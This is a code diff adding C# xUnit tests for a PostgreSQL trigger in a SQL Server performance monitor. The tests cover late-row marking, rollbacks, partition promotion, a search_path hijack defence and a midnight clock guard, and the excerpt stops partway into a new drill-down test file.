+        await UpsertAsync(connection, ServerA, new[] { d5.AddHours(1) }, 1, 1, ct);
+        await ExecAsync(connection, "SAVEPOINT late_apply", ct);
+        await UpsertAsync(connection, ServerA, new[] { d9.AddHours(1) }, 1, 1, ct);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerA, ct))[d9]);
+        await ExecAsync(connection, "ROLLBACK TO SAVEPOINT late_apply", ct);
+        Assert.False((await BuiltAsync(connection, ServerA, ct)).ContainsKey(d9), "the rolled-back bump must be gone");
+
+        /* d9 was unmarked with the savepoint, so this marks it again; d5 was marked outside the savepoint, so this does not
+           bump it a second time. */
+        await UpsertAsync(connection, ServerA, new[] { d9.AddHours(2) }, 1, 1, ct);
+        await UpsertAsync(connection, ServerA, new[] { d5.AddHours(5) }, 1, 1, ct);
+        await ExecAsync(connection, "COMMIT", ct);
+
+        Assert.Equal(
+            new Dictionary<DateTime, long> { [d5] = 1, [d5.AddDays(1)] = 1, [d9] = 1, [d9.AddDays(1)] = 1 },
+            await BuiltAsync(connection, ServerA, ct));
+
+        /* A whole rolled-back transaction leaves no bump and no record behind either. */
+        await ExecAsync(connection, "BEGIN", ct);
+        await UpsertAsync(connection, ServerA, new[] { d9.AddHours(6) }, 1, 1, ct);
+        await ExecAsync(connection, "ROLLBACK", ct);
+        await UpsertAsync(connection, ServerA, new[] { d9.AddHours(7) }, 1, 1, ct);
+        Assert.Equal(2L, (await BuiltAsync(connection, ServerA, ct))[d9]);
+    }
+
+    /// <summary>
+    /// The function's <c>SET search_path = pg_catalog, pg_temp</c> pin still holds with the transaction-local setting in it:
+    /// <c>set_config</c> and <c>current_setting</c> are called unqualified, so they would resolve to a caller's decoy if the
+    /// function inherited the session's path. The session here puts a schema with raising decoys of both FIRST. With the pin
+    /// the apply works; with the pin removed (the control, in this scratch database only) the same apply fails on the decoy,
+    /// so the first half proves something.
+    /// </summary>
+    [Fact]
+    public async Task TheSearchPathPin_StillHolds_AgainstADecoySchemaFirstInTheSessionPath()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        Assert.Equal("{\"search_path=pg_catalog, pg_temp\"}", await ScalarStringAsync(connection,
+            "SELECT p.proconfig::text FROM pg_proc p WHERE p.pronamespace = 'collect'::regnamespace AND p.proname = '" + FunctionName + "'", ct));
+
+        await ExecAsync(connection, @"
+CREATE SCHEMA decoy;
+CREATE FUNCTION decoy.set_config(text, text, boolean) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'decoy set_config ran'; END $$;
+CREATE FUNCTION decoy.current_setting(text, boolean) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'decoy current_setting ran'; END $$;
+SET search_path = decoy, pg_catalog;", ct);
+
+        var d5 = DateTime.UtcNow.Date.AddDays(-5);
+        await UpsertAsync(connection, ServerA, new[] { d5.AddHours(1) }, 1, 1, ct);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerA, ct))[d5]);
+
+        /* The control: without the pin the function inherits the decoy path and fails. */
+        await ExecAsync(connection, "ALTER FUNCTION collect." + FunctionName + "() RESET search_path", ct);
+        var failure = await Assert.ThrowsAsync<PostgresException>(
+            async () => await UpsertAsync(connection, ServerA, new[] { d5.AddHours(2) }, 1, 1, ct));
+        Assert.Contains("decoy", failure.MessageText, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task OnConflict_AWinnerMarks_AndAWhereRejectedLoserDoesNot()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        var d = DateTime.UtcNow.Date.AddDays(-4);
+        var first = d.AddHours(6);
+
+        await UpsertAsync(connection, ServerA, new[] { first }, executionCount: 10, collectionOffsetSeconds: 100, ct);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerA, ct))[d]);
+
+        /* A loser: older collection_time and a smaller execution_count, so the upsert's WHERE rejects it. The row is
+           not updated, so no UPDATE trigger fires. */
+        await UpsertAsync(connection, ServerA, new[] { first }, executionCount: 5, collectionOffsetSeconds: 50, ct);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerA, ct))[d]);
+        Assert.Equal(10, await ScalarLongAsync(connection, "SELECT execution_count FROM collect.query_store_interval_latest", ct));
+
+        /* A winner: newer collection_time. It updates the row in place and bumps late_seq once more. */
+        await UpsertAsync(connection, ServerA, new[] { first }, executionCount: 11, collectionOffsetSeconds: 200, ct);
+        Assert.Equal(2L, (await BuiltAsync(connection, ServerA, ct))[d]);
+        Assert.Equal(2L, (await BuiltAsync(connection, ServerA, ct))[d.AddDays(1)]);
+        Assert.Equal(11, await ScalarLongAsync(connection, "SELECT execution_count FROM collect.query_store_interval_latest", ct));
+    }
+
+    [Fact]
+    public async Task AFirstBeforeTheDayAlignedSeventeenDayEdge_MarksNothing_AndTheEdgesAreExact()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        /* The trigger's WHEN clause windows on the database's now(), so the edges below must come from the database's clock,
+           and the whole body must run on one side of its UTC midnight. If the database clock is within the margin of the next
+           midnight, wait for it to pass first, then read the clock (#5496). */
+        var now = await SettledDatabaseUtcNowAsync(() => ReadDatabaseUtcNowAsync(connection, ct), d => Task.Delay(d, ct), MidnightMargin);
+        var today = now.Date;
+
+        /* The clamp is a whole-day edge: the start of the day 17 days back, one day wider than the cleanup's 16, so every day
+           the cleanup keeps can be marked. Before it nothing is marked (a first that old has its day past the cleanup). */
+        await UpsertAsync(connection, ServerA, new[] { today.AddDays(-17).AddSeconds(-1), now.AddDays(-30) }, 1, 1, ct);
+        Assert.Equal(0, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.plan_regression_daily_built", ct));
+
+        /* On the edge day's first second: marked, the day and the next. */
+        await UpsertAsync(connection, ServerA, new[] { today.AddDays(-17) }, 1, 1, ct);
+        var edge = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(2, edge.Count);
+        Assert.Equal(1L, edge[today.AddDays(-17)]);
+        Assert.Equal(1L, edge[today.AddDays(-16)]);
+
+        /* A late row for T-16 at 00:30 UTC: its first is earlier than "now minus 16 days" at any time of day after 00:30, which
+           the old clamp left unmarked, and its day T-16 survives the cleanup. Marked, with the day after. */
+        await ExecAsync(connection, "TRUNCATE collect.plan_regression_daily_built", ct);
+        await UpsertAsync(connection, ServerA, new[] { today.AddDays(-16).AddMinutes(30) }, 1, 1, ct);
+        var late = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(2, late.Count);
+        Assert.Equal(1L, late[today.AddDays(-16)]);
+        Assert.Equal(1L, late[today.AddDays(-15)]);
+
+        /* Inside the clamp: marked. */
+        await ExecAsync(connection, "TRUNCATE collect.plan_regression_daily_built", ct);
+        await UpsertAsync(connection, ServerA, new[] { now.AddDays(-15) }, 1, 1, ct);
+        Assert.Equal(2, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.plan_regression_daily_built", ct));
+
+        /* The recent edge: a first at or after yesterday's midnight is a live interval, never late. One second before
+           it is late. */
+        await ExecAsync(connection, "TRUNCATE collect.plan_regression_daily_built", ct);
+        await UpsertAsync(connection, ServerA, new[] { today.AddDays(-1), today.AddHours(-1), now }, 1, 1, ct);
+        Assert.Equal(0, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.plan_regression_daily_built", ct));
+
+        await UpsertAsync(connection, ServerA, new[] { today.AddDays(-1).AddSeconds(-1) }, 1, 1, ct);
+        var built = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(2, built.Count);
+        Assert.Equal(1L, built[today.AddDays(-2)]);
+        Assert.Equal(1L, built[today.AddDays(-1)]);
+    }
+
+    [Fact]
+    public async Task CopyAndPlainInsert_BothMark()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        var today = DateTime.UtcNow.Date;
+        var dCopy = today.AddDays(-7);
+        var dInsert = today.AddDays(-3);
+
+        /* (5) COPY straight into the table: row triggers fire for COPY FROM. */
+        await using (var import = await connection.BeginBinaryImportAsync(
+            "COPY collect.query_store_interval_latest (server_id, database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, collection_time, execution_count) FROM STDIN (FORMAT BINARY)", ct))
+        {
+            for (var i = 0; i < 25; i++)
+            {
+                await import.StartRowAsync(ct);
+                await import.WriteAsync(ServerA, NpgsqlDbType.Integer, ct);
+                await import.WriteAsync("db", NpgsqlDbType.Text, ct);
+                await import.WriteAsync((long)i, NpgsqlDbType.Bigint, ct);
+                await import.WriteAsync((long)i, NpgsqlDbType.Bigint, ct);
+                await import.WriteAsync((long)i, NpgsqlDbType.Bigint, ct);
+                await import.WriteAsync(DateTime.SpecifyKind(dCopy.AddMinutes(i), DateTimeKind.Unspecified), NpgsqlDbType.Timestamp, ct);
+                await import.WriteAsync(DateTime.SpecifyKind(today, DateTimeKind.Unspecified), NpgsqlDbType.Timestamp, ct);
+                await import.WriteAsync(1L, NpgsqlDbType.Bigint, ct);
+            }
+
+            await import.CompleteAsync(ct);
+        }
+
+        /* One COPY is one transaction, so its 25 late rows bump each of their two days once. */
+        var built = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(1L, built[dCopy]);
+        Assert.Equal(1L, built[dCopy.AddDays(1)]);
+
+        /* (6) a plain multi-row INSERT with no ON CONFLICT. */
+        await ExecAsync(connection,
+            "INSERT INTO collect.query_store_interval_latest (server_id, database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, collection_time, execution_count) "
+            + "SELECT " + ServerA.ToString(CultureInfo.InvariantCulture) + ", 'db', g, g, g, '" + dInsert.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture) + " 05:00'::timestamp, now() AT TIME ZONE 'UTC', 1 FROM generate_series(1, 7) AS g", ct);
+
+        built = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(1L, built[dInsert]);
+        Assert.Equal(1L, built[dInsert.AddDays(1)]);
+        Assert.Equal(1L, built[dCopy]);
+    }
+
+    [Fact]
+    public async Task PromotedToDayPartitions_KeepsTheTrigger_OnTheLegacyTableAndTheNewDays_AndLaterInsertsStillMark()
+    {
+        /* #5571: collect.query_store_interval_latest is a table partitioned by day, so it cannot be turned into a hypertable
+           any more (create_hypertable refuses a partitioned table). The question this test used to ask of the conversion is
+           now asked of the promotion: the row trigger lives on the parent and PostgreSQL clones it onto every partition
+           (pg_trigger.tgparentid), the legacy table that already holds the rows and each daily partition made later. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        var utcNow = DateTime.UtcNow;
+        var today = utcNow.Date;
+        var dBefore = today.AddDays(-12);
+        var dAfter = today.AddDays(-8);
+
+        /* Rows exist before the promotion, in the legacy table, with the trigger already attached. */
+        await UpsertAsync(connection, ServerA, new[] { dBefore.AddHours(2), dBefore.AddHours(3) }, 1, 1, ct);
+        Assert.Equal(1L, (await BuiltAsync(connection, ServerA, ct))[dBefore]);
+
+        /* Promoted as of 12 days ago: the legacy table's bound is T-10, and the create-ahead then fills the days after it. */
+        var promoted = await QueryStoreIntervalPartitions.RunPromotionAsync(
+            connection, QueryStoreIntervalPartitions.Latest, utcNow.AddDays(-12), Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance,
+            TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, promoted.Outcome);
+        var created = await QueryStoreIntervalPartitions.CreateAheadAsync(
+            connection, QueryStoreIntervalPartitions.Latest, utcNow, Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, created.Outcome);
+
+        Assert.Equal(2, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.query_store_interval_latest", ct));
+        Assert.Equal(1, await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM pg_trigger WHERE tgname = '" + TriggerName + "' AND NOT tgisinternal "
+            + "AND tgrelid = 'collect.query_store_interval_latest'::regclass AND tgparentid = 0", ct));
+        Assert.Equal(1, await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM pg_trigger WHERE tgname = '" + TriggerName + "' AND NOT tgisinternal "
+            + "AND tgrelid = 'collect.query_store_interval_latest_legacy'::regclass AND tgparentid <> 0", ct));
+        var dailyPartitions = await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM pg_inherits AS i JOIN pg_class AS c ON c.oid = i.inhrelid "
+            + "WHERE i.inhparent = 'collect.query_store_interval_latest'::regclass AND c.relname ~ '_p[0-9]{8}$'", ct);
+        Assert.True(dailyPartitions >= 1, "the promotion made no daily partition");
+        Assert.Equal(dailyPartitions, await ScalarLongAsync(connection,
+            "SELECT COUNT(*) FROM pg_trigger AS t JOIN pg_class AS c ON c.oid = t.tgrelid "
+            + "WHERE t.tgname = '" + TriggerName + "' AND NOT t.tgisinternal AND t.tgparentid <> 0 AND c.relname ~ '_p[0-9]{8}$'", ct));
+
+        /* The promotion copies and moves no row, so the marks the rows already made are exactly as they were. */
+        var afterPromotion = (await BuiltAsync(connection, ServerA, ct))[dBefore];
+        Assert.Equal(1L, afterPromotion);
+
+        /* Later inserts (a new daily partition) and re-collections of the old rows (the legacy table) both mark, one bump per transaction. */
+        await UpsertAsync(connection, ServerA, new[] { dAfter.AddHours(4) }, 1, 1, ct);
+        Assert.Equal(
+            "query_store_interval_latest_p" + dAfter.ToString("yyyyMMdd", CultureInfo.InvariantCulture),
+            await ScalarStringAsync(connection,
+                "SELECT c.relname FROM collect.query_store_interval_latest AS t JOIN pg_class AS c ON c.oid = t.tableoid WHERE t.first_execution_time = '"
+                + dAfter.AddHours(4).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture) + "'", ct));
+        await UpsertAsync(connection, ServerA, new[] { dBefore.AddHours(2) }, executionCount: 2, collectionOffsetSeconds: 500, ct);
+
+        var built = await BuiltAsync(connection, ServerA, ct);
+        Assert.Equal(1L, built[dAfter]);
+        Assert.Equal(1L, built[dAfter.AddDays(1)]);
+        Assert.Equal(afterPromotion + 1, built[dBefore]);
+        Assert.Equal(afterPromotion + 1, built[dBefore.AddDays(1)]);
+    }
+
+    [Fact]
+    public async Task TheTrigger_DoesNotChangeHotUpdates()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 trigger test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+
+        var today = DateTime.UtcNow.Date;
+        var setA = new List<DateTime>();
+        var setB = new List<DateTime>();
+        for (var i = 0; i < 1000; i++)
+        {
+            setA.Add(today.AddDays(-6).AddSeconds(i));
+            setB.Add(today.AddDays(-7).AddSeconds(i));
+        }
+
+        /* Two sets of late rows, loaded the same way and then updated once each: A with the trigger off (the baseline),
+           B with it on, so both start from the same page fill (fillfactor 50) and neither inherits the other's dead
+           versions. The columns the upsert changes are in no index, so each update is HOT while the page has room, with
+           or without the trigger. */
+        await UpsertAsync(connection, ServerA, setA, 1, 1, ct);
+        await UpsertAsync(connection, ServerA, setB, 1, 1, ct);
+        await ExecAsync(connection, "TRUNCATE collect.plan_regression_daily_built", ct);
+
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest DISABLE TRIGGER " + TriggerName, ct);
+        var off = await UpdateCountersAsync(connection, async () =>
+            await UpsertAsync(connection, ServerA, setA, executionCount: 2, collectionOffsetSeconds: 10, ct), ct);
+        Assert.Equal(0, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.plan_regression_daily_built", ct));
+
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest ENABLE TRIGGER " + TriggerName, ct);
+        var on = await UpdateCountersAsync(connection, async () =>
+            await UpsertAsync(connection, ServerA, setB, executionCount: 2, collectionOffsetSeconds: 10, ct), ct);
+
+        /* One upsert is one transaction, and all 1000 rows start on one day: one bump of that day and of the next. */
+        Assert.Equal(2, await ScalarLongAsync(connection, "SELECT COALESCE(SUM(late_seq), 0) FROM collect.plan_regression_daily_built", ct));
+        Assert.Equal(1000, off.Updates);
+        Assert.Equal(1000, on.Updates);
+        Assert.True(off.Hot > 0, "the baseline pass produced no HOT updates, so the comparison would prove nothing");
+        Assert.Equal(off.Hot, on.Hot);
+    }
+
+    /* ---- helpers ----------------------------------------------------------------------------------------- */
+
+    private static IReadOnlyList<DateTime> FirstTimes(DateTime start, int count, TimeSpan step)
+    {
+        var list = new List<DateTime>(count);
+        for (var i = 0; i < count; i++)
+        {
+            list.Add(start + (step * i));
+        }
+
+        return list;
+    }
+
+    /// <summary>
+    /// One apply-shaped upsert: the writer's own conflict target and its <c>WHERE</c> guard, one row per element of
+    /// <paramref name="firsts"/> (the row's identity is its position, so the same list again hits the same rows).
+    /// <c>collection_time</c> is a fixed base plus <paramref name="collectionOffsetSeconds"/>, so a larger offset wins.
+    /// </summary>
+    private static async Task UpsertAsync(
+        NpgsqlConnection connection, int serverId, IReadOnlyList<DateTime> firsts, long executionCount, long collectionOffsetSeconds, CancellationToken ct)
+    {
+        var sql = @"
+INSERT INTO collect.query_store_interval_latest AS t
+    (server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time,
+     collection_time, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time)
+SELECT $1, 'db', n, n, NULL, n, f, '2026-01-01'::timestamp + make_interval(secs => $4), $3, 10, 20, f + interval '5 minutes'
+FROM unnest($2::timestamp[]) WITH ORDINALITY AS u (f, n)
+ON CONFLICT (" + QueryStoreIntervalLatest.IdentityColumns + @")
+DO UPDATE SET
+    collection_time = EXCLUDED.collection_time,
+    execution_count = EXCLUDED.execution_count,
+    last_execution_time = EXCLUDED.last_execution_time
+WHERE (EXCLUDED.collection_time, EXCLUDED.execution_count) > (t.collection_time, t.execution_count)";
+
+        var array = new DateTime[firsts.Count];
+        for (var i = 0; i < array.Length; i++)
+        {
+            array[i] = DateTime.SpecifyKind(firsts[i], DateTimeKind.Unspecified);
+        }
+
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Timestamp, Value = array });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = executionCount });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Double, Value = (double)collectionOffsetSeconds });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<Dictionary<DateTime, long>> BuiltAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        var result = new Dictionary<DateTime, long>();
+        await using var command = new NpgsqlCommand(
+            "SELECT day, late_seq FROM collect.plan_regression_daily_built WHERE server_id = $1", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            result[reader.GetDateTime(0)] = reader.GetInt64(1);
+        }
+
+        return result;
+    }
+
+    private static async Task<long> FunctionCallsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        /* Function statistics are flushed by the session that counted them, on demand. */
+        await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+        return await ScalarLongAsync(connection,
+            "SELECT COALESCE(SUM(calls), 0) FROM pg_stat_user_functions WHERE funcname = '" + FunctionName + "'", ct);
+    }
+
+    private static async Task<(long Updates, long Hot)> UpdateCountersAsync(NpgsqlConnection connection, Func<Task> body, CancellationToken ct)
+    {
+        async Task<(long, long)> ReadAsync()
+        {
+            await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+            /* #5571: the parent is partitioned and holds no rows or counters of its own; the updates land in its leaf
+               partitions (the legacy table and the daily ones), so the counters are summed over the leaves. */
+            await using var command = new NpgsqlCommand(
+                "SELECT COALESCE(SUM(s.n_tup_upd), 0)::bigint, COALESCE(SUM(s.n_tup_hot_upd), 0)::bigint "
+                + "FROM pg_partition_tree('collect.query_store_interval_latest'::regclass) AS p "
+                + "JOIN pg_stat_user_tables AS s ON s.relid = p.relid WHERE p.isleaf", connection);
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            await reader.ReadAsync(ct);
+            return (reader.GetInt64(0), reader.GetInt64(1));
+        }
+
+        var before = await ReadAsync();
+        await body();
+        var after = await ReadAsync();
+        return (after.Item1 - before.Item1, after.Item2 - before.Item2);
+    }
+
+    /// <summary>
+    /// How close to the next UTC midnight the database clock may be when a test that windows on it starts. The body that
+    /// follows the clock reading is a handful of single-row statements on a local store (tens of milliseconds); 10 seconds
+    /// covers a slow runner many times over, and the wait it costs happens only in the last 10 seconds of a UTC day.
+    /// </summary>
+    internal static readonly TimeSpan MidnightMargin = TimeSpan.FromSeconds(10);
+
+    /// <summary>The database's <c>now()</c> as UTC, the clock the trigger's <c>WHEN</c> clause uses.</summary>
+    private static async Task<DateTime> ReadDatabaseUtcNowAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT now() AT TIME ZONE 'UTC'", connection);
+        var value = (DateTime)(await command.ExecuteScalarAsync(ct))!;
+        return DateTime.SpecifyKind(value, DateTimeKind.Utc);
+    }
+
+    /// <summary>
+    /// How long to wait before a reading of <paramref name="clockUtc"/> has the rest of its UTC day ahead of it: zero when the
+    /// next midnight is at least <paramref name="margin"/> off, otherwise the time to just past that midnight.
+    /// </summary>
+    internal static TimeSpan WaitPastMidnight(DateTime clockUtc, TimeSpan margin)
+    {
+        var untilMidnight = clockUtc.Date.AddDays(1) - clockUtc;
+        return untilMidnight >= margin ? TimeSpan.Zero : untilMidnight + TimeSpan.FromMilliseconds(250);
+    }
+
+    /// <summary>
+    /// Reads the clock; if it is within <paramref name="margin"/> of the next UTC midnight, waits that midnight out and
+    /// reads again, so the caller has a "now" with the rest of the day ahead of it. Both the clock and the delay are
+    /// injected so the wait path is testable without waiting.
+    /// </summary>
+    internal static async Task<DateTime> SettledDatabaseUtcNowAsync(Func<Task<DateTime>> readClock, Func<TimeSpan, Task> delay, TimeSpan margin)
+    {
+        var now = await readClock();
+        var wait = WaitPastMidnight(now, margin);
+        if (wait > TimeSpan.Zero)
+        {
+            await delay(wait);
+            now = await readClock();
+        }
+
+        return now;
+    }
+
+    [Fact]
+    public async Task TheMidnightGuard_WaitsOnlyInsideTheMarginOfMidnight_AndRereadsTheClockAfterWaiting()
+    {
+        var reads = 0;
+        var delays = new List<TimeSpan>();
+        var clock = new Queue<DateTime>(new[]
+        {
+            new DateTime(2026, 3, 1, 23, 59, 58, DateTimeKind.Utc),
+            new DateTime(2026, 3, 2, 0, 0, 0, 300, DateTimeKind.Utc),
+        });
+
+        var settled = await SettledDatabaseUtcNowAsync(() => { reads++; return Task.FromResult(clock.Dequeue()); }, d => { delays.Add(d); return Task.CompletedTask; }, MidnightMargin);
+
+        Assert.Equal(2, reads);
+        Assert.Equal(new[] { TimeSpan.FromMilliseconds(2250) }, delays);
+        Assert.Equal(new DateTime(2026, 3, 2, 0, 0, 0, 300, DateTimeKind.Utc), settled);
+
+        reads = 0;
+        delays.Clear();
+        var noon = new DateTime(2026, 3, 1, 12, 0, 0, DateTimeKind.Utc);
+        var kept = await SettledDatabaseUtcNowAsync(() => { reads++; return Task.FromResult(noon); }, d => { delays.Add(d); return Task.CompletedTask; }, MidnightMargin);
+
+        Assert.Equal(1, reads);
+        Assert.Empty(delays);
+        Assert.Equal(noon, kept);
+
+        /* The margin's own edge: exactly 10 seconds out needs no wait, one tick inside it does. */
+        Assert.Equal(TimeSpan.Zero, WaitPastMidnight(new DateTime(2026, 3, 1, 23, 59, 50, DateTimeKind.Utc), MidnightMargin));
+        Assert.True(WaitPastMidnight(new DateTime(2026, 3, 1, 23, 59, 50, DateTimeKind.Utc).AddTicks(1), MidnightMargin) > TimeSpan.Zero);
+    }
+
+    private static async Task<NpgsqlConnection> OpenMigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> ScalarLongAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<string> ScalarStringAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToString(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture) ?? string.Empty;
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDrillDownReuseLiveTests.cs b/Darling/Darling.Tests/PlanRegressionDrillDownReuseLiveTests.cs
index 247d09f79a..9e9ee03cb6 100644
--- a/Darling/Darling.Tests/PlanRegressionDrillDownReuseLiveTests.cs
+++ b/Darling/Darling.Tests/PlanRegressionDrillDownReuseLiveTests.cs
@@ -85,7 +85,7 @@ public async Task TheDrillDown_ReadsTheFactsOffendersOnly_AndReturnsWhatTheWhole
 
         try
         {
-            var periodEnd = TruncateToSeconds(DateTime.UtcNow);
+            var periodEnd = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var periodStart = periodEnd.AddHours(-4);
 
             await using (var connection = await OpenWithSearchPathAsync(connectionString!, ct))
diff --git a/Darling/Darling.Tests/PlanRegressionDrillDownWindowStartLiveTests.cs b/Darling/Darling.Tests/PlanRegressionDrillDownWindowStartLiveTests.cs
new file mode 100644
index 0000000000..f3a7da8cd1
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDrillDownWindowStartLiveTests.cs
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448's drill-down wiring: the regressed-queries drill-down starts its window at
+/// <see cref="AnalysisContext.PlanRegressionWindowStart"/> when the fact set it, and at the exact edge
+/// (<c>TimeRangeStart - 14 days</c>) when it is null.
+///
+/// <para>The seed has one query with a cheap plan whose only interval ran at 03:00 on the first day of the window, and an
+/// expensive plan that ran yesterday. The exact edge of this analysis is 10:00 that first day, so the cheap plan is
+/// before it and the comparison needs the day-aligned edge M (00:00) to see it: with
+/// <c>PlanRegressionWindowStart = M</c> the drill-down reports the regression with the cheap plan as the best plan, and with
+/// it null the cheap plan is outside the window, the query has one plan and nothing regressed. A drill-down that ignored the
+/// field would give the second answer in both cases; one that always used M would give the first in both.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it. */
+public sealed class PlanRegressionDrillDownWindowStartLiveTests
+{
+    private const int ServerId = -5448301;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task TheDrillDown_StartsAtPlanRegressionWindowStartWhenSet_AndAtTheExactEdgeWhenNull()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 drill-down wiring test.");
+        var ct = TestContext.Current.CancellationToken;
+
